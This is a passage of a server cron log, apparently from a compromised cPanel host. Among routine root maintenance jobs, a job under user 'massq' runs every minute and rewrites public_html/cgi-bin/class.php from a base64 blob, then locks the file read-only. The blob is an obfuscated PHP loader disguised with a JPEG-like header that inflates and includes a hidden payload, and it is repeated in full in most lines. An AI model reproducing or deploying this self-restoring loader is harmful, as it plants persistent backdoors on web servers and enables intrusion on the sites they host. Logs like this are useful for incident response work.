Hg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 11 11:45:01 server CROND[25164]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 11 11:45:01 server CROND[25165]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr 11 11:45:01 server CROND[25166]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr 11 11:46:01 server CROND[25273]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 11 11:47:01 server CROND[25322]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 11 11:48:01 server CROND[25443]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 11 11:49:01 server CROND[25533]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 11 11:50:01 server CROND[25580]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr 11 11:50:01 server CROND[25581]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Apr 11 11:50:01 server CROND[25583]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 11 11:50:01 server CROND[25582]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr 11 11:50:01 server CROND[25584]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Apr 11 11:51:01 server CROND[25694]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 11 11:52:01 server CROND[25745]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 11 11:53:01 server CROND[25807]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 11 11:54:01 server CROND[25945]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 11 11:55:01 server CROND[26000]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr 11 11:55:01 server CROND[26001]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr 11 11:55:01 server CROND[26002]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 11 11:56:01 server CROND[26114]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 11 11:57:01 server CROND[26173]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 11 11:57:01 server CROND[26174]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Apr 11 11:58:01 server CROND[26221]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo 